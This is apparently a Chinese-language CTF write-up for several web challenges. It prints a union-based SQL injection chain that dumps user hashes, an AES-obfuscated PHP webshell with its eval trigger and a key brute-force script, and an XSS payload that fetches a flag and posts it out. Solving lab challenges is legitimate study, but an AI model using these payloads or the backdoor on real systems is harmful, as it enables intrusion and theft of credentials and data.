前言
这也是ctf末法之世的一个侧面。。
测试赛
WEB01
upload.php无过滤传一句话木马连shell即可
WEB02
进入题目,点击下面的公告,跳转到 OA_announcement.php,发现存在id参数
测试发现 cookie 要不断更新为 set-cookie 的UA才能访问 OA_announcement.php
id处存在数字型注入
查询回显位
1+order+by+4--
那么回显位为4
尝试联合注入
0+union+select+1,2,3,4--
测试发现页面上只回显2和3
0+union+select+1,database(),3,4--
数据库名:Mozhe_OAsystem
0+union+select+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema="Mozhe_OAsystem"--
得到表名:OA_Users,cms,ua
0+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name="OA_Users"--
得到列名:id,OAname,PassWord,Status
0+union+select+1,group_concat(OAname,'--',PassWord,'--',Status),3,4+from+OA_Users--
得到账密,密码是md5加密后的
2009371209--bd109afc78d44da53aafe2a2f5c1a207--0,
2009340218--6fbb6973fa60551e5f09d22a51fd959d--1,
2009371210--8727d459417b6f4001afebc8c6c4c545--1
只能使用 status 为1的用户登录,第三个用户的密码用 somd5 爆破出来是336982
登录即可获得flag
WEB03
在describedssTest.php找到恶意代码
<?php error_reporting(0);
header('Content-type: text/html; charset=utf-8');
$p8 = '3b7430adaed18facca7b799229138b7b';
$a8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=';
$d8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09';
$v8 = '0329647546905494';
function e($D, $K)
{
$cipher = 'aes-128-cbc';
$encrypted = openssl_encrypt($D, $cipher, $K, 0, $GLOBALS['v8']);
$result = base64_encode($GLOBALS['v8'] . $encrypted);
$result = base64_encode($result);
return $result;
}
function d($D, $K)
{
$cipher = 'aes-128-cbc';
$decodedData = base64_decode(base64_decode($D));
$encryptedData = substr($decodedData, openssl_cipher_iv_length($cipher));
$decrypted = openssl_decrypt($encryptedData, $cipher, $K, 0, $GLOBALS['v8']);
return $decrypted;
}
$a8 = trim(d($a8, $p8));
ob_start();
$a8(trim(d($d8, $p8)));
$O = ob_get_contents();
ob_end_clean();
echo e($O, $p8);
注释掉缓冲区相关的代码,输出变量内容
assert(@eval("if(md5(@\$_GET['id'])===\$p8){@eval(trim(d(\$_POST['d'],\$p8)));}"))
md5匹配。。
cmd5 和 ttmd5 能查到但是要收费,那么要自己爆md5,所幸 ttmd5 告诉我们开头为2,共8位
自己整个脚本爆破:
import string
import itertools
import hashlib
table = string.digits
for i in itertools.product(table,repeat=7):
tmp = "".join(i)
m = "2" + tmp
if hashlib.md5(hashlib.md5(m.encode()).hexdigest().encode()).hexdigest() == "3b7430adaed18facca7b799229138b7b":
print(m)
break
结果是20241026
然后就拿shell了
正式赛
WEB01(Unsolved)
测试发现session和token是两套鉴权,后者是jwt RS256
登录会设置一次session和token,session解出来是
b'{"_flashes":[{" t":["success","Login successful!"]}],"csrf_token":"b23621fd5aa4c5f818ec75752706199d549a9cbb","role":"guest"}'
/upload 路由会给我们设置一个session,解出来是
b'{"csrf_token":"b23621fd5aa4c5f818ec75752706199d549a9cbb","role":"guest"}'
测试发现去掉第一个session,upload这里就不会回显login successful
去掉token,需要重新登录
带入第二个session,不回显login successful
session 决定 role,而 token 决定 username
答案是这两题拼一起的!
https://ctftime.org/writeup/30541
https://naupjjin.github.io/2024/06/30/AIS3-pre-exam-2024-Writeup/
WEB02
登录,一眼提交给 boss 可以 xss
没有cookie,鉴权用的是 content 后面跟的路由 hash
访问 /flag 路由,发现要boss才能访问
那就先让 boss 访问 flag,把结果带出来访问我们的 content
测试发现这里只能 fetch localhost 才能带出结果,注意 flask 默认5000端口
payload:
<script>
fetch('http://127.0.0.1:5000/flag')
.then(response => response.text())
.then(data => {
fetch('http://127.0.0.1:5000/content/b6e849d96528d0b153a3a2cf1c3a61df', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'content=' + data
});
});
</script>